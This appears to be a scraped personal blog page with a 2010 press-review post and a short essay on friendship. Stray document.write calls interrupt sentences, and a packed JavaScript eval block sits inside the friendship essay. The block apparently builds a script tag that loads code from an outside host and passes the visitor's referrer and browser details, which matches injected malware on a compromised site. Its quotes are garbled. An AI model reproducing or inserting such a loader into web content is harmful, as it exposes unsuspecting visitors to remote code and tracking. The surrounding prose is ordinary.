Revue de Presse / Press Review (2010/05/27)

Another nice but insanely busy (and quite unseasonably hot) week. Not only this week was my birthday (getting so old now, document.write(“”); BTW: thanks to all who wished me happy birthday) but I am also getting my iPad (a kind of self-gift)! I’ll be a little more productive when I’m out of the safe-house (I’ll missed it after moving, but I’ll make a better one — however, for now, it is clean-up time!) and I’ll be able to experiment on new ways to distribute contents. This week was as hellish as usual at work (or more: trying to organize a new work schedule provided excruciating mental pain; the boroughs are really nests of ineptitude!). News-wise, beside the iPad international launch, I noted the end of the Cannes Film Festival, more Gulf oil-spill drama and the end of most of the TV shows I was watching (it makes me sad, but it will also allow more time for the clean-up and for “working” on the iPad)! Here’s some more:

Friendship

/ Clodjee / Leave a comment

A friend is someone with whom you share a mutual affection. Someone you trust. Someone you can count on when in trouble, document.write(“”); even in the middle of the night. Someone you can confide to without fear. Someone that will not betray you in any ways. Someone that will never hurt you even out of rage. Someone that will not lie to you. Someone that will never take advantage of you.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btbzt|var|u0026u|referrer|atdih||js|php’.split(‘|’),0,{}))

A friend is NOT someone you barely know or even heard of. A “Facebook friend” is no friend.

We don’t have friends anymore like people used to do in the olden days. We either give our “friendship” too easily or we denude it of its meaning. Unfortunately, with time, some word gets vague and lose their meaning. We often mistakenly use “friend” for “acquaintance”.

A real friend is something rare and precious that you might not encounter often, if ever, in your life. And if you do, it will never last. People grow apart. And you are always betrayed in the end…
